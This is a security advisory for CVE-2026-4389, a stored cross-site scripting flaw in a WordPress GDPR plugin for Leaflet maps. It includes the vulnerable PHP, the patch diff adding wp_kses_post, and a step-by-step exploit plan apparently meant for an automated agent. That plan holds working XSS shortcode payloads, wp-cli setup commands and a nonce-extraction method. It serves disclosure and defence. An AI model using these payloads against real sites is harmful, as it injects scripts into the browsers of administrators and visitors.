CVE-2026-4389

DSGVO snippet for Leaflet Map and its Extensions <= 3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'unset' Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.4
Patched in
3d
Time to patch

Description

The DSGVO snippet for Leaflet Map and its Extensions plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `leafext-cookie-time` and `leafext-delete-cookie` shortcodes in all versions up to, and including, 3.1. This is due to insufficient input sanitization and output escaping on user supplied attributes (`unset`, `before`, `after`). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.1
PublishedMarch 23, 2026
Last updatedMarch 26, 2026
Affected plugindsgvo-leaflet-map

What Changed in the Fix

Changes introduced in v3.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the **DSGVO snippet for Leaflet Map and its Extensions** plugin (CVE-2026-4389). The vulnerability allows Contributor-level users to inject malicious scripts into pages via unescaped shortcode attributes. --- ### 1. Vu…

Show full research plan

This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the DSGVO snippet for Leaflet Map and its Extensions plugin (CVE-2026-4389). The vulnerability allows Contributor-level users to inject malicious scripts into pages via unescaped shortcode attributes.


1. Vulnerability Summary

The plugin provides shortcodes to display cookie-related information or forms. In php/time-delete.php, the functions leafext_get_cookie_time and leafext_form_delete_cookie process attributes for the [leafext-cookie-time] and [leafext-delete-cookie] shortcodes. The attributes unset, before, and after are concatenated directly into the output $content without any sanitization (e.g., wp_kses) or output escaping (e.g., esc_html).

2. Attack Vector Analysis

  • Shortcodes: [leafext-cookie-time] and [leafext-delete-cookie]
  • Vulnerable Attributes: unset, before, after
  • Authentication: Contributor or higher (anyone who can create/edit posts).
  • Payload Mechanism: The payload is stored in the post content as a shortcode attribute. It executes in the browser of any user (including Administrators) viewing the page.
  • Preconditions:
    • To trigger the unset attribute, the visitor must not have the leafext cookie set.
    • To trigger the before and after attributes, the visitor must have the leafext cookie set.

3. Code Flow

  1. Entry Point: add_shortcode registers leafext-cookie-time and leafext-delete-cookie in php/time-delete.php.
  2. Processing: When do_shortcode() encounters these tags, it calls leafext_get_cookie_time($atts, $content) or leafext_form_delete_cookie($atts, $content).
  3. Attribute Extraction: The functions check for the unset, before, and after keys in the $atts array.
  4. Vulnerable Sink:
    • In leafext_get_cookie_time:
      $before = isset( $atts['before'] ) ? '<div class="cookietext">' . $atts['before'] : ''; // Sink 1
      $after  = isset( $atts['after'] ) ? $atts['after'] . '</div>' : ''; // Sink 2
      // ...
      $content = $before . $content . $after;
      // ... or ...
      $content = isset( $atts['unset'] ) ? $atts['unset'] : ''; // Sink 3
      return $content;
      
  5. Execution: The returned unescaped string is rendered in the final HTML response.

4. Nonce Acquisition Strategy

No WordPress nonce is required to exploit the XSS rendering, as shortcode attributes are processed whenever a post is viewed. However, to test the before/after attribute path (which requires the leafext cookie), we may need to set the cookie.

Setting the leafext Cookie:
The plugin sets this cookie in leafext_setcookie (in php/leaflet-map.php) if a POST request is made with the leafext_button parameter and a valid nonce.

  1. Create a page with [leaflet-map].
  2. The plugin's filter leafext_query_cookie will render a form containing a nonce field:
    wp_nonce_field( 'leafext_dsgvo', 'leafext_dsgvo_okay', true, false ).
  3. Use browser_navigate to view the page.
  4. Use browser_eval to extract the nonce:
    document.querySelector('input[name="leafext_dsgvo_okay"]').value.
  5. Perform an http_request (POST) to the same page with leafext_button=1&leafext_dsgvo_okay=[NONCE].

5. Exploitation Strategy

We will demonstrate the XSS via the unset attribute as it is the simplest vector.

Step 1: Contributor Login

Use the http_request tool to log in as a Contributor.

Step 2: Create Malicious Post

Create a post containing the payload.

  • Action: POST /wp-admin/post-new.php or use wp-cli.
  • Payload: [leafext-cookie-time unset='<script>alert("CVE-2026-4389-XSS")</script>']

Step 3: Trigger XSS

Navigate to the newly created post as an unauthenticated user (to ensure no cookie exists).

  • Tool: http_request (GET).
  • Verification: Check if the response body contains the raw <script> tag.

6. Test Data Setup

  1. Contributor User: wp user create contributor contributor@example.com --role=contributor --user_pass=password
  2. Plugin Dependency: Ensure leaflet-map and extensions-leaflet-map are active (required by leafext_plugin_active checks).
  3. Target Post:
    wp post create --post_type=post --post_status=publish --post_author=[ID] --post_title="GDPR Test" --post_content='[leafext-cookie-time unset="<img src=x onerror=alert(document.domain)>"]'
    

7. Expected Results

  • The leafext_get_cookie_time function returns the value of the unset attribute directly.
  • The HTML response will contain: <img src=x onerror=alert(document.domain)>.
  • In a browser context, the JavaScript alert will trigger.

8. Verification Steps

  1. HTTP Response Check:
    # Capture response
    curl -s http://localhost:8080/?p=[POST_ID] | grep "onerror=alert"
    
  2. Browser Verification:
    Use browser_navigate to the post URL and check for an alert dialog using browser_eval.

9. Alternative Approaches

  • before attribute: If the unset attribute is patched or fails, target before by setting the cookie first.
    • Payload: [leafext-cookie-time before='<svg onload=alert(1)>']
  • leafext-delete-cookie shortcode:
    • Payload: [leafext-delete-cookie unset='<script>alert("delete-cookie-xss")</script>']
    • This function (in php/time-delete.php) follows the exact same logic as the first shortcode.
Research Findings
Static analysis — not yet PoC-verified

Summary

The plugin is vulnerable to Stored Cross-Site Scripting via several shortcode attributes ('unset', 'before', 'after') used in the '[leafext-cookie-time]' and '[leafext-delete-cookie]' shortcodes. Authenticated attackers with contributor-level permissions can inject arbitrary JavaScript that executes in the browser of any user viewing the affected post or page.

Vulnerable Code

// php/time-delete.php

// line 35
			$before = isset( $atts['before'] ) ? '<div class="cookietext">' . $atts['before'] : '';
			$after  = isset( $atts['after'] ) ? $atts['after'] . '</div>' : '';

			$content = $before . $content . $after;

		} else {
			$content = isset( $atts['unset'] ) ? $atts['unset'] : '';
		}

---

// php/time-delete.php

// line 81
			$before   = isset( $atts['before'] ) ? '<div class="cookietext">' . $atts['before'] : '';
			$after    = isset( $atts['after'] ) ? $atts['after'] . '</div>' : '';

			$content = $before . $content . $after;
		} else {
			$content = isset( $atts['unset'] ) ? $atts['unset'] : '';
		}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/dsgvo-leaflet-map/3.3/admin.php /home/deploy/wp-safety.org/data/plugin-versions/dsgvo-leaflet-map/3.4/admin.php
--- /home/deploy/wp-safety.org/data/plugin-versions/dsgvo-leaflet-map/3.3/admin.php	2025-06-24 20:07:16.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/dsgvo-leaflet-map/3.4/admin.php	2026-03-22 21:09:40.000000000 +0000
@@ -24,7 +24,7 @@
 	add_action( 'admin_menu', 'leafext_dsgvo_add_page', 90 );
 
 	function leafext_dsgvo_init() {
-		add_settings_section( 'leafext_dsgvo', '', '', 'leafext_settings_dsgvo' );
+		add_settings_section( 'leafext_dsgvo', '', '__return_empty_string', 'leafext_settings_dsgvo' );
 		$fields = leafext_dsgvo_params();
 		foreach ( $fields as $field ) {
 			add_settings_field(
@@ -36,12 +36,19 @@
 				$field['param'],
 			);
 		}
-		// https://stackoverflow.com/a/77545721
 		$leafext_dsgvo = get_option( 'leafext_dsgvo' );
 		if ( $leafext_dsgvo === false ) {
-			add_option( 'leafext_dsgvo', '' );
+			add_option( 'leafext_dsgvo', array() );
 		}
-		register_setting( 'leafext_settings_dsgvo', 'leafext_dsgvo', 'leafext_validate_dsgvo' );
+		register_setting(
+			'leafext_settings_dsgvo',
+			'leafext_dsgvo',
+			array(
+				'type'              => 'array',
+				'sanitize_callback' => 'leafext_validate_dsgvo',
+				'default'           => array(),
+			)
+		);
 	}
 	add_action( 'admin_init', 'leafext_dsgvo_init' );
 
@@ -229,11 +236,6 @@
 		foreach ( $tabs as $tab ) {
 			echo '<a href="' . esc_url( '?page=' . LEAFEXT_DSGVO_PLUGIN_NAME . '&tab=' . $tab['tab'] ) . '" class="nav-tab';
 			$active = ( $active_tab === $tab['tab'] ) ? ' nav-tab-active' : '';
-			if ( isset( $tab['strpos'] ) ) {
-				if ( strpos( $active_tab, $tab['strpos'] ) !== false ) {
-					$active = ' nav-tab-active';
-				}
-			}
 			echo esc_attr( $active );
 			echo '">' . esc_html( $tab['title'] ) . '</a>' . "\n";
 		}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/dsgvo-leaflet-map/3.3/dsgvo-leaflet-map.php /home/deploy/wp-safety.org/data/plugin-versions/dsgvo-leaflet-map/3.4/dsgvo-leaflet-map.php
--- /home/deploy/wp-safety.org/data/plugin-versions/dsgvo-leaflet-map/3.3/dsgvo-leaflet-map.php	2026-03-05 16:13:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/dsgvo-leaflet-map/3.4/dsgvo-leaflet-map.php	2026-03-23 21:30:00.000000000 +0000
@@ -3,8 +3,8 @@
  * Plugin Name:       DSGVO snippet for Leaflet Map and its Extensions
  * Description:       Respect the DSGVO / GDPR when you use Leaflet Map and Extensions for Leaflet Map.
  * Plugin URI:        https://leafext.de/en/
- * Version:           3.3
- * Requires PHP:      8.1
+ * Version:           3.4
+ * Requires PHP:      8.2
  * Requires Plugins:  leaflet-map, extensions-leaflet-map
  * Author:            hupe13
  * Author URI:        https://leafext.de/en/
@@ -27,13 +27,14 @@
 // string $plugin_file, bool $markup = true, bool $translate = true
 $leafext_plugin_data = get_plugin_data( __FILE__, true, false );
 define( 'LEAFEXT_DSGVO_PLUGIN_VERSION', $leafext_plugin_data['Version'] );
-
 if ( ! function_exists( 'leafext_plugin_active' ) ) {
 	function leafext_plugin_active( $slug ) {
-		$plugins   = get_option( 'active_plugins' );
-		$is_active = preg_grep( '/^.*\/' . $slug . '\.php$/', $plugins );
-		if ( count( $is_active ) === 1 ) {
-			return true;
+		$plugins = get_option( 'active_plugins' );
+		if ( is_array( $plugins ) ) {
+			$is_active = preg_grep( '/^.*\/' . $slug . '\.php$/', $plugins );
+			if ( count( $is_active ) === 1 ) {
+				return true;
+			}
 		}
 		$plugins = get_site_option( 'active_sitewide_plugins' );
 		if ( is_array( $plugins ) ) {
@@ -86,7 +87,7 @@
 				)
 			);
 			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- it is an WP Error
-			wp_die( $error, '', wp_kses_post( $error->get_error_data() ) );
+			wp_die( $error, '', $error->get_error_data() );
 		}
 	}
 	register_activation_hook( __FILE__, 'leafext_extensions_require' );
@@ -103,4 +104,4 @@
 		return $actions;
 	}
 }
-add_filter( 'plugin_action_links', 'leafext_disable_dsgvo_activation', 10, 4 );
+add_filter( 'plugin_action_links', 'leafext_disable_dsgvo_activation', 10, 2 );
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/dsgvo-leaflet-map/3.3/php/leaflet-map.php /home/deploy/wp-safety.org/data/plugin-versions/dsgvo-leaflet-map/3.4/php/leaflet-map.php
--- /home/deploy/wp-safety.org/data/plugin-versions/dsgvo-leaflet-map/3.3/php/leaflet-map.php	2026-03-04 20:19:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/dsgvo-leaflet-map/3.4/php/leaflet-map.php	2026-03-22 21:09:40.000000000 +0000
@@ -69,7 +69,7 @@
 			'httponly' => true,
 			'samesite' => 'Strict', // None || Lax  || Strict
 		);
-		setcookie( 'leafext', time(), $arr_cookie_options );
+		setcookie( 'leafext', (string) time(), $arr_cookie_options );
 		$_COOKIE['leafext'] = time();
 	}
 }
@@ -131,7 +131,7 @@
 
 		if ( ! isset( $leafext_okay ) ) {
 			$leafext_okay = true;
-			$form = true;
+			$form         = true;
 		} else {
 			$count = filter_var( $settings['count'], FILTER_VALIDATE_BOOLEAN );
 			if ( $count ) {
@@ -131,7 +131,7 @@
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/dsgvo-leaflet-map/3.3/php/time-delete.php /home/deploy/wp-safety.org/data/plugin-versions/dsgvo-leaflet-map/3.4/php/time-delete.php
--- /home/deploy/wp-safety.org/data/plugin-versions/dsgvo-leaflet-map/3.3/php/time-delete.php	2026-03-04 20:19:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/dsgvo-leaflet-map/3.4/php/time-delete.php	2026-03-23 21:11:56.000000000 +0000
@@ -21,18 +21,18 @@
 
 			$gmt = isset( $atts['gmt'] ) ? $atts['gmt'] : 0;
 			if ( $gmt ) {
-				$content = gmdate( $format, $cookie_time );
+				$content = gmdate( $format, (int) $cookie_time );
 			} else {
-				$content = wp_date( $format, $cookie_time );
+				$content = wp_date( $format, (int) $cookie_time );
 			}
 
-			$before = isset( $atts['before'] ) ? '<div class="cookietext">' . $atts['before'] : '';
-			$after  = isset( $atts['after'] ) ? $atts['after'] . '</div>' : '';
+			$before = isset( $atts['before'] ) ? '<div class="cookietext">' . wp_kses_post( $atts['before'] ) : '';
+			$after = isset( $atts['after'] ) ? wp_kses_post( $atts['after'] ) . '</div>' : '';
 
 			$content = $before . $content . $after;
 
 		} else {
-			$content = isset( $atts['unset'] ) ? $atts['unset'] : '';
+			$content = isset( $atts['unset'] ) ? wp_kses_post( $atts['unset'] ) : '';
 		}
 	}
 	return $content;
@@ -64,19 +64,19 @@
 			$content .= wp_nonce_field( 'leafext_dsgvo', 'leafext_dsgvo_cookie', true, false );
 			if ( isset( $atts['link'] ) ) {
 				$content .= '<input type="hidden" value="' . esc_attr( $submit ) . '" name="leafext_cookie_button" />';
-				$content .= '&nbsp;<a href="javascript:;" onclick="parentNode.submit();">' . $submit . '</a>&nbsp;';
+				$content .= '&nbsp;<a href="javascript:;" onclick="parentNode.submit();">' . esc_html( $submit ) . '</a>&nbsp;';
 			} else {
 				$content .= '<div class="submit leafext-dsgvo-submit leafext-dsgvo-delete-submit">';
 				$content .= '<input type="submit" aria-label="Submit ' . esc_attr( $submit ) . '" value="' . esc_attr( $submit ) . '" name="leafext_cookie_button" />';
 				$content .= '</div>';
 			}
 			$content .= '</form>';
-			$before   = isset( $atts['before'] ) ? '<div class="cookietext">' . $atts['before'] : '';
-			$after    = isset( $atts['after'] ) ? $atts['after'] . '</div>' : '';
+			$before = isset( $atts['before'] ) ? '<div class="cookietext">' . wp_kses_post( $atts['before'] ) : '';
+			$after = isset( $atts['after'] ) ? wp_kses_post( $atts['after'] ) . '</div>' : '';
 
 			$content = $before . $content . $after;
 		} else {
-			$content = isset( $atts['unset'] ) ? $atts['unset'] : '';
+			$content = isset( $atts['unset'] ) ? wp_kses_post( $atts['unset'] ) : '';
 		}
 	}
 	return $content;
@@ -100,7 +100,7 @@
 						'httponly' => true,
 						'samesite' => 'Strict', // None || Lax  || Strict
 					);
-					setcookie( 'leafext', time(), $arr_cookie_options );
+					setcookie( 'leafext', (string) time(), $arr_cookie_options );
 					if ( isset( $_POST['origin'] ) ) {
 						header( 'Location: ' . esc_url_raw( wp_unslash( $_POST['origin'] ) ) );
 						exit;

Exploit Outline

1. Login as an authenticated user with Contributor-level access or higher. 2. Create or edit a post and insert a shortcode using a malicious payload in the 'unset', 'before', or 'after' attributes. For example: `[leafext-cookie-time unset="<script>alert('XSS')</script>"]`. 3. Publish or update the post. 4. Access the post as a visitor. - To trigger the 'unset' attribute payload, the visitor must not have the 'leafext' cookie set. - To trigger the 'before' or 'after' attributes, the visitor must have previously accepted the GDPR notice to set the 'leafext' cookie. 5. The payload will execute in the user's browser as the attribute value is rendered directly into the page content without escaping.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.